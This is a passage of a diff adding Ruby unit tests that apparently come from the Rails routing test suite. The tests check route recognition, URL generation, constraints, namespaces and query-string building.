+    assert_equal({ controller: "users", action: "index", id: "10" }, set.recognize_path("/users/index/10/"))
+  end
+
+  def test_route_with_parameter_shell
+    set.draw do
+      get "page/:id" => "pages#show", :id => /\d+/
+
+      ActiveSupport::Deprecation.silence do
+        get "/:controller(/:action(/:id))"
+      end
+    end
+
+    assert_equal({ controller: "pages", action: "index" }, request_path_params("/pages"))
+    assert_equal({ controller: "pages", action: "index" }, request_path_params("/pages/index"))
+    assert_equal({ controller: "pages", action: "list" }, request_path_params("/pages/list"))
+
+    assert_equal({ controller: "pages", action: "show", id: "10" }, request_path_params("/pages/show/10"))
+    assert_equal({ controller: "pages", action: "show", id: "10" }, request_path_params("/page/10"))
+  end
+
+  def test_route_constraints_on_request_object_with_anchors_are_valid
+    assert_nothing_raised do
+      set.draw do
+        get "page/:id" => "pages#show", :constraints => { host: /^foo$/ }
+      end
+    end
+  end
+
+  def test_route_constraints_with_anchor_chars_are_invalid
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:id" => "pages#show", :id => /^\d+/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:id" => "pages#show", :id => /\A\d+/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:id" => "pages#show", :id => /\d+$/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:id" => "pages#show", :id => /\d+\Z/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:id" => "pages#show", :id => /\d+\z/
+      end
+    end
+  end
+
+  def test_route_constraints_with_options_method_condition_is_valid
+    assert_nothing_raised do
+      set.draw do
+        match "valid/route" => "pages#show", :via => :options
+      end
+    end
+  end
+
+  def test_route_error_with_missing_controller
+    set.draw do
+      get    "/people" => "missing#index"
+    end
+
+    assert_raises(ActionController::RoutingError) { request_path_params "/people" }
+  end
+
+  def test_recognize_with_encoded_id_and_regex
+    set.draw do
+      get "page/:id" => "pages#show", :id => /[a-zA-Z0-9\+]+/
+    end
+
+    assert_equal({ controller: "pages", action: "show", id: "10" }, request_path_params("/page/10"))
+    assert_equal({ controller: "pages", action: "show", id: "hello+world" }, request_path_params("/page/hello+world"))
+  end
+
+  def test_recognize_with_http_methods
+    set.draw do
+      get    "/people"     => "people#index", :as => "people"
+      post   "/people"     => "people#create"
+      get    "/people/:id" => "people#show",  :as => "person"
+      put    "/people/:id" => "people#update"
+      patch  "/people/:id" => "people#update"
+      delete "/people/:id" => "people#destroy"
+    end
+
+    params = request_path_params("/people", method: :get)
+    assert_equal("index", params[:action])
+
+    params = request_path_params("/people", method: :post)
+    assert_equal("create", params[:action])
+
+    params = request_path_params("/people/5", method: :put)
+    assert_equal("update", params[:action])
+
+    params = request_path_params("/people/5", method: :patch)
+    assert_equal("update", params[:action])
+
+    assert_raise(ActionController::UnknownHttpMethod) {
+      request_path_params("/people", method: :bacon)
+    }
+
+    params = request_path_params("/people/5", method: :get)
+    assert_equal("show", params[:action])
+    assert_equal("5", params[:id])
+
+    params = request_path_params("/people/5", method: :put)
+    assert_equal("update", params[:action])
+    assert_equal("5", params[:id])
+
+    params = request_path_params("/people/5", method: :patch)
+    assert_equal("update", params[:action])
+    assert_equal("5", params[:id])
+
+    params = request_path_params("/people/5", method: :delete)
+    assert_equal("destroy", params[:action])
+    assert_equal("5", params[:id])
+
+    assert_raise(ActionController::RoutingError) {
+      request_path_params("/people/5", method: :post)
+    }
+  end
+
+  def test_recognize_with_alias_in_conditions
+    set.draw do
+      match "/people" => "people#index", :as => "people", :via => :get
+      root to: "people#index"
+    end
+
+    params = request_path_params("/people", method: :get)
+    assert_equal("people", params[:controller])
+    assert_equal("index", params[:action])
+
+    params = request_path_params("/", method: :get)
+    assert_equal("people", params[:controller])
+    assert_equal("index", params[:action])
+  end
+
+  def test_typo_recognition
+    set.draw do
+      get "articles/:year/:month/:day/:title" => "articles#permalink",
+             :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
+    end
+
+    params = request_path_params("/articles/2005/11/05/a-very-interesting-article", method: :get)
+    assert_equal("permalink", params[:action])
+    assert_equal("2005", params[:year])
+    assert_equal("11", params[:month])
+    assert_equal("05", params[:day])
+    assert_equal("a-very-interesting-article", params[:title])
+  end
+
+  def test_routing_traversal_does_not_load_extra_classes
+    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+    set.draw do
+      get "/profile" => "profile#index"
+    end
+
+    request_path_params("/profile") rescue nil
+
+    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+  end
+
+  def test_recognize_with_conditions_and_format
+    set.draw do
+      get "people/:id" => "people#show", :as => "person"
+      put "people/:id" => "people#update"
+      patch "people/:id" => "people#update"
+      get "people/:id(.:format)" => "people#show"
+    end
+
+    params = request_path_params("/people/5", method: :get)
+    assert_equal("show", params[:action])
+    assert_equal("5", params[:id])
+
+    params = request_path_params("/people/5", method: :put)
+    assert_equal("update", params[:action])
+
+    params = request_path_params("/people/5", method: :patch)
+    assert_equal("update", params[:action])
+
+    params = request_path_params("/people/5.png", method: :get)
+    assert_equal("show", params[:action])
+    assert_equal("5", params[:id])
+    assert_equal("png", params[:format])
+  end
+
+  def test_generate_with_default_action
+    set.draw do
+      get "/people", controller: "people", action: "index"
+      get "/people/list", controller: "people", action: "list"
+    end
+
+    url = url_for(set, controller: "people", action: "list")
+    assert_equal "/people/list", url
+  end
+
+  def test_root_map
+    set.draw { root to: "people#index" }
+
+    params = request_path_params("", method: :get)
+    assert_equal("people", params[:controller])
+    assert_equal("index", params[:action])
+  end
+
+  def test_namespace
+    set.draw do
+
+      namespace "api" do
+        get "inventory" => "products#inventory"
+      end
+
+    end
+
+    params = request_path_params("/api/inventory", method: :get)
+    assert_equal("api/products", params[:controller])
+    assert_equal("inventory", params[:action])
+  end
+
+  def test_namespaced_root_map
+    set.draw do
+      namespace "api" do
+        root to: "products#index"
+      end
+    end
+
+    params = request_path_params("/api", method: :get)
+    assert_equal("api/products", params[:controller])
+    assert_equal("index", params[:action])
+  end
+
+  def test_namespace_with_path_prefix
+    set.draw do
+      scope module: "api", path: "prefix" do
+        get "inventory" => "products#inventory"
+      end
+    end
+
+    params = request_path_params("/prefix/inventory", method: :get)
+    assert_equal("api/products", params[:controller])
+    assert_equal("inventory", params[:action])
+  end
+
+  def test_namespace_with_blank_path_prefix
+    set.draw do
+      scope module: "api", path: "" do
+        get "inventory" => "products#inventory"
+      end
+    end
+
+    params = request_path_params("/inventory", method: :get)
+    assert_equal("api/products", params[:controller])
+    assert_equal("inventory", params[:action])
+  end
+
+  def test_id_is_sticky_when_it_ought_to_be
+    @set = make_set false
+
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:id/:action"
+      end
+    end
+
+    get URI("http://test.host/people/7/show")
+
+    assert_equal "/people/7/destroy", controller.url_for(action: "destroy", only_path: true)
+  end
+
+  def test_use_static_path_when_possible
+    @set = make_set false
+
+    set.draw do
+      get "about" => "welcome#about"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:id/:action"
+      end
+    end
+
+    get URI("http://test.host/welcom/get/7")
+
+    assert_equal "/about", controller.url_for(controller: "welcome",
+                                              action: "about",
+                                              only_path: true)
+  end
+
+  def test_generate
+    set.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+
+    args = { controller: "foo", action: "bar", id: "7", x: "y" }
+    assert_equal "/foo/bar/7?x=y",     url_for(set, args)
+    assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
+    assert_equal [:x], set.extra_keys(args)
+  end
+
+  def test_generate_with_path_prefix
+    set.draw do
+      scope "my" do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+
+    args = { controller: "foo", action: "bar", id: "7", x: "y" }
+    assert_equal "/my/foo/bar/7?x=y", url_for(set, args)
+  end
+
+  def test_generate_with_blank_path_prefix
+    set.draw do
+      scope "" do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+
+    args = { controller: "foo", action: "bar", id: "7", x: "y" }
+    assert_equal "/foo/bar/7?x=y", url_for(set, args)
+  end
+
+  def test_named_routes_are_never_relative_to_modules
+    @set = make_set false
+
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/connection/manage(/:action)" => "connection/manage#index"
+        get "/connection/connection" => "connection/connection#index"
+        get "/connection" => "connection#index", :as => "family_connection"
+      end
+    end
+
+    assert_equal({ controller: "connection/manage",
+                   action: "index", }, request_path_params("/connection/manage"))
+
+    url = controller.url_for(controller: "connection", only_path: true)
+    assert_equal "/connection/connection", url
+
+    url = controller.url_for(use_route: "family_connection",
+                               controller: "connection", only_path: true)
+    assert_equal "/connection", url
+  end
+
+  def test_action_left_off_when_id_is_recalled
+    @set = make_set false
+
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action(/:id))"
+      end
+    end
+
+    get URI("http://test.host/books/show/10")
+
+    assert_equal "/books", controller.url_for(controller: "books",
+                                              only_path: true,
+                                              action: "index")
+  end
+
+  def test_query_params_will_be_shown_when_recalled
+    @set = make_set false
+
+    set.draw do
+      get "show_weblog/:parameter" => "weblog#show"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action(/:id))"
+      end
+    end
+
+    get URI("http://test.host/weblog/show/1")
+
+    assert_equal "/weblog/edit?parameter=1", controller.url_for(
+      action: "edit", parameter: 1, only_path: true)
+  end
+
+  def test_format_is_not_inherit
+    set.draw do
+      get "/posts(.:format)" => "posts#index"
+    end
+
+    get URI("http://test.host/posts.xml")
+    assert_equal({ controller: "posts", action: "index", format: "xml" },
+                 controller.request.path_parameters)
+
+    assert_equal "/posts", controller.url_for(
+      controller: "posts", only_path: true)
+
+    assert_equal "/posts.xml", controller.url_for(
+      controller: "posts", format: "xml", only_path: true)
+  end
+
+  def test_expiry_determination_should_consider_values_with_to_param
+    @set = make_set false
+
+    set.draw { ActiveSupport::Deprecation.silence { get "projects/:project_id/:controller/:action" } }
+
+    get URI("http://test.host/projects/1/weblog/show")
+
+    assert_equal(
+      { controller: "weblog", action: "show", project_id: "1" },
+      controller.request.path_parameters)
+
+    assert_equal "/projects/1/weblog/show",
+      controller.url_for(action: "show", project_id: 1, only_path: true)
+  end
+
+  def test_named_route_in_nested_resource
+    set.draw do
+      resources :projects do
+        member do
+          get "milestones" => "milestones#index", :as => "milestones"
+        end
+      end
+    end
+
+    params = set.recognize_path("/projects/1/milestones", method: :get)
+    assert_equal("milestones", params[:controller])
+    assert_equal("index", params[:action])
+  end
+
+  def test_setting_root_in_namespace_using_symbol
+    assert_nothing_raised do
+      set.draw do
+        namespace :admin do
+          root to: "home#index"
+        end
+      end
+    end
+  end
+
+  def test_setting_root_in_namespace_using_string
+    assert_nothing_raised do
+      set.draw do
+        namespace "admin" do
+          root to: "home#index"
+        end
+      end
+    end
+  end
+
+  def test_route_constraints_with_unsupported_regexp_options_must_error
+    assert_raise ArgumentError do
+      set.draw do
+        get "page/:name" => "pages#show",
+          :constraints => { name: /(david|jamis)/m }
+      end
+    end
+  end
+
+  def test_route_constraints_with_supported_options_must_not_error
+    assert_nothing_raised do
+      set.draw do
+        get "page/:name" => "pages#show",
+          :constraints => { name: /(david|jamis)/i }
+      end
+    end
+    assert_nothing_raised do
+      set.draw do
+        get "page/:name" => "pages#show",
+          :constraints => { name: / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/x }
+      end
+    end
+  end
+
+  def test_route_with_subdomain_and_constraints_must_receive_params
+    name_param = nil
+    set.draw do
+      get "page/:name" => "pages#show", :constraints => lambda { |request|
+        name_param = request.params[:name]
+        return true
+      }
+    end
+    assert_equal({ controller: "pages", action: "show", name: "mypage" },
+      set.recognize_path("http://subdomain.example.org/page/mypage"))
+    assert_equal(name_param, "mypage")
+  end
+
+  def test_route_requirement_recognize_with_ignore_case
+    set.draw do
+      get "page/:name" => "pages#show",
+        :constraints => { name: /(david|jamis)/i }
+    end
+    assert_equal({ controller: "pages", action: "show", name: "jamis" }, set.recognize_path("/page/jamis"))
+    assert_raise ActionController::RoutingError do
+      set.recognize_path("/page/davidjamis")
+    end
+    assert_equal({ controller: "pages", action: "show", name: "DAVID" }, set.recognize_path("/page/DAVID"))
+  end
+
+  def test_route_requirement_generate_with_ignore_case
+    set.draw do
+      get "page/:name" => "pages#show",
+        :constraints => { name: /(david|jamis)/i }
+    end
+
+    url = url_for(set, controller: "pages", action: "show", name: "david")
+    assert_equal "/page/david", url
+    assert_raise(ActionController::UrlGenerationError) do
+      url_for(set, controller: "pages", action: "show", name: "davidjamis")
+    end
+    url = url_for(set, controller: "pages", action: "show", name: "JAMIS")
+    assert_equal "/page/JAMIS", url
+  end
+
+  def test_route_requirement_recognize_with_extended_syntax
+    set.draw do
+      get "page/:name" => "pages#show",
+        :constraints => { name: / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/x }
+    end
+    assert_equal({ controller: "pages", action: "show", name: "jamis" }, set.recognize_path("/page/jamis"))
+    assert_equal({ controller: "pages", action: "show", name: "david" }, set.recognize_path("/page/david"))
+    assert_raise ActionController::RoutingError do
+      set.recognize_path("/page/david #The Creator")
+    end
+    assert_raise ActionController::RoutingError do
+      set.recognize_path("/page/David")
+    end
+  end
+
+  def test_route_requirement_with_xi_modifiers
+    set.draw do
+      get "page/:name" => "pages#show",
+        :constraints => { name: / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/xi }
+    end
+
+    assert_equal({ controller: "pages", action: "show", name: "JAMIS" },
+        set.recognize_path("/page/JAMIS"))
+
+    assert_equal "/page/JAMIS",
+        url_for(set, controller: "pages", action: "show", name: "JAMIS")
+  end
+
+  def test_routes_with_symbols
+    set.draw do
+      get "unnamed", controller: :pages, action: :show, name: :as_symbol
+      get "named"  , controller: :pages, action: :show, name: :as_symbol, as: :named
+    end
+    assert_equal({ controller: "pages", action: "show", name: :as_symbol }, set.recognize_path("/unnamed"))
+    assert_equal({ controller: "pages", action: "show", name: :as_symbol }, set.recognize_path("/named"))
+  end
+
+  def test_regexp_chunk_should_add_question_mark_for_optionals
+    set.draw do
+      get "/" => "foo#index"
+      get "/hello" => "bar#index"
+    end
+
+    assert_equal "/",      url_for(set, controller: "foo")
+    assert_equal "/hello", url_for(set, controller: "bar")
+
+    assert_equal({ controller: "foo", action: "index" }, set.recognize_path("/"))
+    assert_equal({ controller: "bar", action: "index" }, set.recognize_path("/hello"))
+  end
+
+  def test_assign_route_options_with_anchor_chars
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/cars/:action/:person/:car/", controller: "cars"
+      end
+    end
+
+    assert_equal "/cars/buy/1/2", url_for(set, controller: "cars", action: "buy", person: "1", car: "2")
+
+    assert_equal({ controller: "cars", action: "buy", person: "1", car: "2" }, set.recognize_path("/cars/buy/1/2"))
+  end
+
+  def test_segmentation_of_dot_path
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/books/:action.rss", controller: "books"
+      end
+    end
+
+    assert_equal "/books/list.rss", url_for(set, controller: "books", action: "list")
+
+    assert_equal({ controller: "books", action: "list" }, set.recognize_path("/books/list.rss"))
+  end
+
+  def test_segmentation_of_dynamic_dot_path
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/books(/:action(.:format))", controller: "books"
+      end
+    end
+
+    assert_equal "/books/list.rss", url_for(set, controller: "books", action: "list", format: "rss")
+    assert_equal "/books/list.xml", url_for(set, controller: "books", action: "list", format: "xml")
+    assert_equal "/books/list",     url_for(set, controller: "books", action: "list")
+    assert_equal "/books",          url_for(set, controller: "books", action: "index")
+
+    assert_equal({ controller: "books", action: "list", format: "rss" }, set.recognize_path("/books/list.rss"))
+    assert_equal({ controller: "books", action: "list", format: "xml" }, set.recognize_path("/books/list.xml"))
+    assert_equal({ controller: "books", action: "list" },  set.recognize_path("/books/list"))
+    assert_equal({ controller: "books", action: "index" }, set.recognize_path("/books"))
+  end
+
+  def test_slashes_are_implied
+    set.draw { ActiveSupport::Deprecation.silence { get("/:controller(/:action(/:id))") } }
+
+    assert_equal "/content",        url_for(set, controller: "content", action: "index")
+    assert_equal "/content/list",   url_for(set, controller: "content", action: "list")
+    assert_equal "/content/show/1", url_for(set, controller: "content", action: "show", id: "1")
+
+    assert_equal({ controller: "content", action: "index" }, set.recognize_path("/content"))
+    assert_equal({ controller: "content", action: "index" }, set.recognize_path("/content/index"))
+    assert_equal({ controller: "content", action: "list" },  set.recognize_path("/content/list"))
+    assert_equal({ controller: "content", action: "show", id: "1" }, set.recognize_path("/content/show/1"))
+  end
+
+  def test_default_route_recognition
+    expected = { controller: "pages", action: "show", id: "10" }
+    assert_equal expected, default_route_set.recognize_path("/pages/show/10")
+    assert_equal expected, default_route_set.recognize_path("/pages/show/10/")
+
+    expected[:id] = "jamis"
+    assert_equal expected, default_route_set.recognize_path("/pages/show/jamis/")
+
+    expected.delete :id
+    assert_equal expected, default_route_set.recognize_path("/pages/show")
+    assert_equal expected, default_route_set.recognize_path("/pages/show/")
+
+    expected[:action] = "index"
+    assert_equal expected, default_route_set.recognize_path("/pages/")
+    assert_equal expected, default_route_set.recognize_path("/pages")
+
+    assert_raise(ActionController::RoutingError) { default_route_set.recognize_path("/") }
+    assert_raise(ActionController::RoutingError) { default_route_set.recognize_path("/pages/how/goood/it/is/to/be/free") }
+  end
+
+  def test_default_route_should_omit_default_action
+    assert_equal "/accounts", url_for(default_route_set, controller: "accounts", action: "index")
+  end
+
+  def test_default_route_should_include_default_action_when_id_present
+    assert_equal "/accounts/index/20", url_for(default_route_set, controller: "accounts", action: "index", id: "20")
+  end
+
+  def test_default_route_should_work_with_action_but_no_id
+    assert_equal "/accounts/list_all", url_for(default_route_set, controller: "accounts", action: "list_all")
+  end
+
+  def test_default_route_should_uri_escape_pluses
+    expected = { controller: "pages", action: "show", id: "hello world" }
+    assert_equal expected, default_route_set.recognize_path("/pages/show/hello%20world")
+    assert_equal "/pages/show/hello%20world", url_for(default_route_set, expected)
+
+    expected[:id] = "hello+world"
+    assert_equal expected, default_route_set.recognize_path("/pages/show/hello+world")
+    assert_equal expected, default_route_set.recognize_path("/pages/show/hello%2Bworld")
+    assert_equal "/pages/show/hello+world", url_for(default_route_set, expected)
+  end
+
+  def test_build_empty_query_string
+    assert_uri_equal "/foo", url_for(default_route_set, controller: "foo")
+  end
+
+  def test_build_query_string_with_nil_value
+    assert_uri_equal "/foo", url_for(default_route_set, controller: "foo", x: nil)
+  end
+
+  def test_simple_build_query_string
+    assert_uri_equal "/foo?x=1&y=2", url_for(default_route_set, controller: "foo", x: "1", y: "2")
+  end
+
+  def test_convert_ints_build_query_string
+    assert_uri_equal "/foo?x=1&y=2", url_for(default_route_set, controller: "foo", x: 1, y: 2)
+  end
+
+  def test_escape_spaces_build_query_string
+    assert_uri_equal "/foo?x=hello+world&y=goodbye+world", url_for(default_route_set, controller: "foo", x: "hello world", y: "goodbye world")
+  end
+
+  def test_expand_array_build_query_string
+    assert_uri_equal "/foo?x%5B%5D=1&x%5B%5D=2", url_for(default_route_set, controller: "foo", x: [1, 2])
+  end
+
+  def test_escape_spaces_build_query_string_selected_keys
+    assert_uri_equal "/foo?x=hello+world", url_for(default_route_set, controller: "foo", x: "hello world")
+  end
+
+  def test_generate_with_default_params
+    set.draw do
+      get "dummy/page/:page" => "dummy#show"
+      get "dummy/dots/page.:page" => "dummy#dots"
+      get "ibocorp(/:page)" => "ibocorp#show",
+                             :constraints => { page: /\d+/ },
+                             :defaults => { page: 1 }
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/ibocorp", url_for(set, controller: "ibocorp", action: "show", page: 1)
+  end
+
+  include ActionDispatch::RoutingVerbs
+
+  alias :routes :set
+
+  def test_generate_with_optional_params_recalls_last_request
+    @set = make_set false
+
+    set.draw do
+      get "blog/", controller: "blog", action: "index"
+
+      get "blog(/:year(/:month(/:day)))",
+            controller: "blog",
+            action: "show_date",
+            constraints: { year: /(19|20)\d\d/, month: /[01]?\d/, day: /[0-3]?\d/ },
+            day: nil, month: nil
+
+      get "blog/show/:id", controller: "blog", action: "show", id: /\d+/
+
+      ActiveSupport::Deprecation.silence do
+        get "blog/:controller/:action(/:id)"
+      end
+
+      get "*anything", controller: "blog", action: "unknown_request"
+    end
+
+    recognize_path = ->(path) {
+      get(URI("http://example.org" + path))
+      controller.request.path_parameters
+    }
+
+    assert_equal({ controller: "blog", action: "index" }, recognize_path.("/blog"))
+    assert_equal({ controller: "blog", action: "show", id: "123" }, recognize_path.("/blog/show/123"))
+    assert_equal({ controller: "blog", action: "show_date", year: "2004", day: nil, month: nil }, recognize_path.("/blog/2004"))
+    assert_equal({ controller: "blog", action: "show_date", year: "2004", month: "12", day: nil }, recognize_path.("/blog/2004/12"))
+    assert_equal({ controller: "blog", action: "show_date", year: "2004", month: "12", day: "25" }, recognize_path.("/blog/2004/12/25"))
+    assert_equal({ controller: "articles", action: "edit", id: "123" }, recognize_path.("/blog/articles/edit/123"))
+    assert_equal({ controller: "articles", action: "show_stats" }, recognize_path.("/blog/articles/show_stats"))
+    assert_equal({ controller: "blog", action: "unknown_request", anything: "blog/wibble" }, recognize_path.("/blog/wibble"))
+    assert_equal({ controller: "blog", action: "unknown_request", anything: "junk" }, recognize_path.("/junk"))
+
+    get URI("http://example.org/blog/2006/07/28")
+
+    assert_equal({ controller: "blog",  action: "show_date", year: "2006", month: "07", day: "28" }, controller.request.path_parameters)
+    assert_equal("/blog/2006/07/25", controller.url_for(day: 25, only_path: true))
+    assert_equal("/blog/2005",       controller.url_for(year: 2005, only_path: true))
+    assert_equal("/blog/show/123",   controller.url_for(action: "show" , id: 123, only_path: true))
+    assert_equal("/blog/2006",       controller.url_for(year: 2006, only_path: true))
+    assert_equal("/blog/2006",       controller.url_for(year: 2006, month: nil, only_path: true))
+  end
+
+  private
+    def assert_uri_equal(expected, actual)
+      assert_equal(sort_query_string_params(expected), sort_query_string_params(actual))
+    end
+
+    def sort_query_string_params(uri)
+      path, qs = uri.split("?")
+      qs = qs.split("&").sort.join("&") if qs
+      qs ? "#{path}?#{qs}" : path
+    end
+end
+
+class RackMountIntegrationTests < ActiveSupport::TestCase
+  include RoutingTestHelpers
+
+  Model = Struct.new(:to_param)
+
+  Mapping = lambda {
+    namespace :admin do
+      resources :users, :posts
+    end
+
+    namespace "api" do
+      root to: "users#index"
+    end
+
+    get "/blog(/:year(/:month(/:day)))" => "posts#show_date",
+      :constraints => {
+        year: /(19|20)\d\d/,
+        month: /[01]?\d/,
+        day: /[0-3]?\d/
+      },
+      :day => nil,
+      :month => nil
+
+    get "archive/:year", controller: "archive", action: "index",
+      defaults: { year: nil },
+      constraints: { year: /\d{4}/ },
+      as: "blog"
+
+    resources :people
+    get "legacy/people" => "people#index", :legacy => "true"
+
+    get "symbols", controller: :symbols, action: :show, name: :as_symbol
+    get "id_default(/:id)" => "foo#id_default", :id => 1
+    match "get_or_post" => "foo#get_or_post", :via => [:get, :post]
+    get "optional/:optional" => "posts#index"
+    get "projects/:project_id" => "project#index", :as => "project"
+    get "clients" => "projects#index"
+
+    get "ignorecase/geocode/:postalcode" => "geocode#show", :postalcode => /hx\d\d-\d[a-z]{2}/i
+    get "extended/geocode/:postalcode" => "geocode#show", :constraints => {
+                  postalcode: /# Postcode format
+                                  \d{5} #Prefix
+                                  (-\d{4})? #Suffix
+                                  /x
+                  }, :as => "geocode"
+
+    get "news(.:format)" => "news#index"
+
+    ActiveSupport::Deprecation.silence do
+      get "comment/:id(/:action)" => "comments#show"
+      get "ws/:controller(/:action(/:id))", ws: true
+      get "account(/:action)" => "account#subscription"
+      get "pages/:page_id/:controller(/:action(/:id))"
+      get ":controller/ping", action: "ping"
+    end
+
+    get "こんにちは/世界", controller: "news", action: "index"
+
+    ActiveSupport::Deprecation.silence do
+      match ":controller(/:action(/:id))(.:format)", via: :all
+    end
+
+    root to: "news#index"
+  }
+
+  attr_reader :routes
+  attr_reader :controller
+
+  def setup
+    @routes = ActionDispatch::Routing::RouteSet.new
+    @routes.draw(&Mapping)
+  end
+
+  def test_recognize_path
+    assert_equal({ controller: "admin/users", action: "index" }, @routes.recognize_path("/admin/users", method: :get))
+    assert_equal({ controller: "admin/users", action: "create" }, @routes.recognize_path("/admin/users", method: :post))
+    assert_equal({ controller: "admin/users", action: "new" }, @routes.recognize_path("/admin/users/new", method: :get))
+    assert_equal({ controller: "admin/users", action: "show", id: "1" }, @routes.recognize_path("/admin/users/1", method: :get))
+    assert_equal({ controller: "admin/users", action: "update", id: "1" }, @routes.recognize_path("/admin/users/1", method: :put))
+    assert_equal({ controller: "admin/users", action: "destroy", id: "1" }, @routes.recognize_path("/admin/users/1", method: :delete))
+    assert_equal({ controller: "admin/users", action: "edit", id: "1" }, @routes.recognize_path("/admin/users/1/edit", method: :get))
+
+    assert_equal({ controller: "admin/posts", action: "index" }, @routes.recognize_path("/admin/posts", method: :get))
+    assert_equal({ controller: "admin/posts", action: "new" }, @routes.recognize_path("/admin/posts/new", method: :get))
+
+    assert_equal({ controller: "api/users", action: "index" }, @routes.recognize_path("/api", method: :get))
+    assert_equal({ controller: "api/users", action: "index" }, @routes.recognize_path("/api/", method: :get))
+
+    assert_equal({ controller: "posts", action: "show_date", year: "2009", month: nil, day: nil }, @routes.recognize_path("/blog/2009", method: :get))
+    assert_equal({ controller: "posts", action: "show_date", year: "2009", month: "01", day: nil }, @routes.recognize_path("/blog/2009/01", method: :get))
+    assert_equal({ controller: "posts", action: "show_date", year: "2009", month: "01", day: "01" }, @routes.recognize_path("/blog/2009/01/01", method: :get))
+
+    assert_equal({ controller: "archive", action: "index", year: "2010" }, @routes.recognize_path("/archive/2010"))
+    assert_equal({ controller: "archive", action: "index" }, @routes.recognize_path("/archive"))
+
+    assert_equal({ controller: "people", action: "index" }, @routes.recognize_path("/people", method: :get))
+    assert_equal({ controller: "people", action: "index", format: "xml" }, @routes.recognize_path("/people.xml", method: :get))
+    assert_equal({ controller: "people", action: "create" }, @routes.recognize_path("/people", method: :post))
+    assert_equal({ controller: "people", action: "new" }, @routes.recognize_path("/people/new", method: :get))
+    assert_equal({ controller: "people", action: "show", id: "1" }, @routes.recognize_path("/people/1", method: :get))
+    assert_equal({ controller: "people", action: "show", id: "1", format: "xml" }, @routes.recognize_path("/people/1.xml", method: :get))
+    assert_equal({ controller: "people", action: "update", id: "1" }, @routes.recognize_path("/people/1", method: :put))
+    assert_equal({ controller: "people", action: "destroy", id: "1" }, @routes.recognize_path("/people/1", method: :delete))
+    assert_equal({ controller: "people", action: "edit", id: "1" }, @routes.recognize_path("/people/1/edit", method: :get))
+    assert_equal({ controller: "people", action: "edit", id: "1", format: "xml" }, @routes.recognize_path("/people/1/edit.xml", method: :get))
+
+    assert_equal({ controller: "symbols", action: "show", name: :as_symbol }, @routes.recognize_path("/symbols"))
+    assert_equal({ controller: "foo", action: "id_default", id: "1" }, @routes.recognize_path("/id_default/1"))
+    assert_equal({ controller: "foo", action: "id_default", id: "2" }, @routes.recognize_path("/id_default/2"))
+    assert_equal({ controller: "foo", action: "id_default", id: 1 }, @routes.recognize_path("/id_default"))
+    assert_equal({ controller: "foo", action: "get_or_post" }, @routes.recognize_path("/get_or_post", method: :get))
+    assert_equal({ controller: "foo", action: "get_or_post" }, @routes.recognize_path("/get_or_post", method: :post))
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path("/get_or_post", method: :put) }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path("/get_or_post", method: :delete) }
+
+    assert_equal({ controller: "posts", action: "index", optional: "bar" }, @routes.recognize_path("/optional/bar"))
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path("/optional") }
+
+    assert_equal({ controller: "posts", action: "show", id: "1", ws: true }, @routes.recognize_path("/ws/posts/show/1", method: :get))
+    assert_equal({ controller: "posts", action: "list", ws: true }, @routes.recognize_path("/ws/posts/list", method: :get))
+    assert_equal({ controller: "posts", action: "index", ws: true }, @routes.recognize_path("/ws/posts", method: :get))
+
+    assert_equal({ controller: "account", action: "subscription" }, @routes.recognize_path("/account", method: :get))
+    assert_equal({ controller: "account", action: "subscription" }, @routes.recognize_path("/account/subscription", method: :get))
+    assert_equal({ controller: "account", action: "billing" }, @routes.recognize_path("/account/billing", method: :get))
+
+    assert_equal({ page_id: "1", controller: "notes", action: "index" }, @routes.recognize_path("/pages/1/notes", method: :get))
+    assert_equal({ page_id: "1", controller: "notes", action: "list" }, @routes.recognize_path("/pages/1/notes/list", method: :get))
+    assert_equal({ page_id: "1", controller: "notes", action: "show", id: "2" }, @routes.recognize_path("/pages/1/notes/show/2", method: :get))
+
+    assert_equal({ controller: "posts", action: "ping" }, @routes.recognize_path("/posts/ping", method: :get))
+    assert_equal({ controller: "posts", action: "index" }, @routes.recognize_path("/posts", method: :get))
+    assert_equal({ controller: "posts", action: "index" }, @routes.recognize_path("/posts/index", method: :get))
+    assert_equal({ controller: "posts", action: "show" }, @routes.recognize_path("/posts/show", method: :get))
+    assert_equal({ controller: "posts", action: "show", id: "1" }, @routes.recognize_path("/posts/show/1", method: :get))
+    assert_equal({ controller: "posts", action: "create" }, @routes.recognize_path("/posts/create", method: :post))
+
+    assert_equal({ controller: "geocode", action: "show", postalcode: "hx12-1az" }, @routes.recognize_path("/ignorecase/geocode/hx12-1az"))
+    assert_equal({ controller: "geocode", action: "show", postalcode: "hx12-1AZ" }, @routes.recognize_path("/ignorecase/geocode/hx12-1AZ"))
